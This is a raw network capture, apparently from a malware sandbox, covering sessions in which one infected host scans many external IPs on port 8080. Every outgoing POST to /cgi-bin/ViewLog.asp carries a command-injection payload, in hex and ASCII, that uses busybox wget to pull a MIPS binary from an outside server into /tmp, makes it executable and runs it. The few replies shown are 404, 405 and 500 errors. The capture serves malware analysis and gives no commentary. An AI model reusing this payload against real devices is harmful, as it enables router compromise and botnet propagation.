Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.13	48480	31.136.210.65	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:52.755934954 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:53.350564003 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:54.502743959 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:56.966700077 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:01.574585915 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:10.790605068 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:29.734528065 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:06.598368883 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.13	60720	94.255.188.36	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:52.770639896 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:52.978672981 CET	680	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Thu, 23 Nov 2023 04:15:52 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.13	55298	95.86.103.16	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:52.798794985 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.13	40142	94.152.53.24	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:53.008662939 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:53.219481945 CET	101	IN	HTTP/1.1 405 Method Not Allowed

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.13	48786	94.120.39.213	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:55.533782005 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.13	55310	94.101.186.110	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:55.642018080 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:57.414668083 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:57.759725094 CET	167	IN	HTTP/1.1 404 Not Found Date: Thu, 23 Nov 2023 04:15:57 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.13	40424	94.121.181.211	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:55.758732080 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.13	59210	31.128.223.56	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:55.772511005 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:56.010781050 CET	523	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'none' Strict-Transport-Security: max-age=3600 Content-Length: 130 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.13	47784	94.242.230.234	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:55.884664059 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.13	35296	31.136.100.247	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:55.943080902 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:56.518659115 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:57.638633966 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:00.038667917 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:04.646766901 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:13.606614113 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:31.782521963 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
